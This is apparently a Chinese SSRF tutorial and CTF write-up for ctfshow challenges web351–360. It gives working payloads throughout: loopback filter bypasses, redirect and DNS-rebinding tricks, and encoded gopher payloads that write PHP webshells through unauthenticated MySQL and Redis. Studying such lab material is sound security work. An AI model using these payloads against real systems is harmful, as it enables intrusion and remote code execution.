基础
参考文章:https://blog.csdn.net/ing_end/article/details/124369282
SSRF(Server-Side Request Forgery,服务端请求伪造),攻击者通过在目标服务器上伪造请求,让服务器发起对内部网络或者其他外部网络资源的请求
互联网上的很多web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片(载入图片)、文件资源(下载或读取)。如果链接可以访问任意请求,则存在ssrf漏洞(这不就是任意读吗)
代码实现
让服务器根据用户的输入去发起一个http请求即可
在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现该功能
<?php
if (isset($_REQUEST['url'])) {
$link = $_REQUEST['url'];
$filename = './ curled/ ' . time() . '.txt';
$curlobj = curl_init($link); //创建一个新的curl会话
$fp = fopen($filename, "w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_POLLOWLOCATION, TRUE);
//curl的一些配置
curl_exec($curlobj); //发送$link这个请求
curl_close($curlobj); //curl关闭
fclose($fp); //文件关闭
$fp = fopen($filename, "r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
} else {
echo " ?url =[url] ";
}
发送get请求?url=baidu.com
即可载入百度首页的资源
注:PHP原生类SoapClient在触发反序列化时也可导致SSRF
协议利用
http
访问正常的文件,提交参数
?url=http://www.baidu.com/robots.txt
可以用来探测内网主机存活
dict
当访问未开放端口,脚本会显示空白或者报错。提交参数
?url=dict://127.0.0.1:1234
可以泄露安装软件版本信息,查看端口,操作内网redis服务等
file
利用file协议可以任意读取系统本地文件
?url=file:///flag.php
gopher
gopher支持发出GET、POST请求
可以先截获get请求包和post请求包,再构造成符合gopher协议的请求
是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
绕过
等价替换
127.0.0.1
==localhost
==0.0.0.0
==0
==127.127.127.127
==0x7F.0.0.1
==0177.0.0.1
==2130706433
==0x7F000001
==127.1
==127。0。0。1
==127.0.0.任意数字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
生成脚本(by yu22x):
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
302跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
例:对http://xip.io ,当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1
a记录
修改自己域名的a记录,改成127.0.0.1
a记录:将一个域名映射到一个 IPv4 地址的 DNS 记录,通常用于将域名转换为 IP 地址
已知a记录指向127.0.0.1的网站:http://sudo.cc/
远程访问重定向文件
在自己vps上写一个ssrf.php,起http服务来访问
<?php
header("Location:http://127.0.0.1/flag.php");
DNS Rebinding
流程:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
由于已经绕过验证,所以服务器端返回访问内网资源的结果。
相关网站:http://ceye.io/
先注册一个账号然后点击Profile,在最下面的DNS-REBINDING选择要绑定的dns即可,一般是127.0.0.1
最后取你的Identifier作为payload:(注:最前面加r)
url=http://r.Your_Identifier/flag.php
如果给的域名中有0或者1就不可以了
实战
web351
进入题目,看到源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url); // 初始化一个cURL会话
curl_setopt($ch, CURLOPT_HEADER, 0); // 设定返回信息中包含响应信息头,启用时会将头文件的信息作为数据流输出。参数为1表示输出信息头,为0表示不输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 设定curl_exec()函数将响应结果返回,而不是直接输出。参数为1表示$result,为0表示echo $result
$result=curl_exec($ch); // 执行一个cURL会话
curl_close($ch); // 关闭一个curl会话
echo ($result);
?>
猜测flag在flag.php文件中,这题先尝试直接访问flag.php
返回 “非本地用户禁止访问”,试了一下改xff头没用
那就是要让我们以本地用户去访问,即以127.0.0.1访问
发送POST请求,利用index.php中的curl命令获取flag
payload:
url=http://127.0.0.1/flag.php
web352
进入题目,看到源码
flag还是在flag.php中
我这里格式化了一下方便审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|127.0.0/')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
?>
用parse_url函数解析了我们传入的参数,然后加了点过滤
要求我们必须使用http或者https协议
过滤了localhost
和127.0.0
那么这里我们可以考虑用进制转换绕过,或者使用等效本地访问的几个ip,如0.0.0.0
payload:
url=http://0x7F.0.0.1/flag.php 16进制
url=http://0177.0.0.1/flag.php 8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php
web353
进入题目,看到源码
flag还是在flag.php中
格式化一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|127\.0\.|\。/i', $url)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
?>
加了更多的过滤
正则匹配”localhost”、”127.0.”或者”。”
那还是和上题一样绕过即可
payload:
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web354
进入题目,看到源码
flag还是在flag.php中
格式化一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|1|0|。/i', $url)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
又改了过滤
检测是否包含 “localhost”、”1”、”0” 或者 “。”
那么之前的payload就全部不可用了
所以这里需要利用Enclosed alphanumerics或者DNS Rebinding,但是题目好像不支持Enclosed alphanumerics
于是这里只能用DNS Rebinding来绕过
payload:
url=http://sudo.cc/flag.php
web355
进入题目,看到源码
flag还是在flag.php中
格式化一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$host = $x['host'];
if ((strlen($host) <= 5)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
?>
没过滤了,但是要求我们输入的url的host
段长度小于等于5(不清楚什么是host段请移步parse_url函数)
把前面几题payload的host段长度小于等于5的部分拿过来用就行
payload:
url=http://0/flag.php
url=http://127.1/flag.php
web356
进入题目,看到源码
flag还是在flag.php中
格式化一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$host = $x['host'];
if ((strlen($host) <= 3)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
?>
要求host段长度小于等于3
一把梭了
0在linux系统中会解析成127.0.0.1在,windows中解析成0.0.0.0
payload:
url=http://0/flag.php
web357
进入题目,看到源码
flag还是在flag.php中
格式化一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$ip = gethostbyname($x['host']);
echo '</br>' . $ip . '</br>';
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
} else {
die('scheme');
}
?>
gethostbyname:
返回主机名对应的IPv4地址
这个函数会获取真实ip,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法
filter_var():
# php filter函数 filter_var() 获取一个变量,并进行过滤 filter_var_array() 获取多个变量,并进行过滤 ...... # PHP 过滤器 FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围 FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255) FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334) FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
所以这题过滤的ip如下:
而我内网穿透域名的映射ip不在这范围内,所以可以打
先在虚拟机上起php http服务,写一个ssrf.php
<?php
header("Location: http://127.0.0.1/flag.php");
?>
把文件重定向flag就行
url=http://76135132qk.imdo.co/ssrf.php
也可以用dns重绑定
url=http://r.Your_Identifier/flag.php
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
用parse_url解析,然后是朴实无华的正则匹配,要求以http://ctf.
开头,show
结束
根据parse_url
的特性构造payload即可
url=http://ctf.@127.0.0.1/flag.php?show
web359(ssrf打无密码mysql)
打无密码的mysql
进入题目,是一个登录界面
抓包到一个check.php
这里有一个returl,猜测ssrf的点在这里
提示是打无密码mysql,这里属于是内网的范畴了
参考文章:https://berl1n.blog.csdn.net/article/details/103026470
无密码认证时直接发送TCP/IP数据包即可连接mysql服务器
所以要使用gopher协议去打mysql
gopherus一把梭
github仓库:https://github.com/tarunkant/Gopherus
用法:打的什么服务就用什么类型的exp
这里我们直接执行
gopherus --exploit mysql
一般我们需要打下来的mysql服务的用户名都为root
然后在要执行的sql语句里写马getshell
这样就生成了我们的payload
注:传入payload时需要把_
后面的数字再url编码一次,防止出现特殊字符,后端curl接收到参数后会默认解码一次,浏览器也会解码一次,所以总共要编码两次
gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%36%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%32%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
然后访问1.php命令执行即可
web360(ssrf打redis)
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
和web351一样的源码,但是这一次提示要我们打redis
而ssrf打redis最经典的就是未授权访问
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
我们先用dict协议探测一下端口
url=dict://127.0.0.1:6379/
返回报错-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK
说明存在redis
这里继续用gopherus一把梭
然后访问shell.php,命令执行即可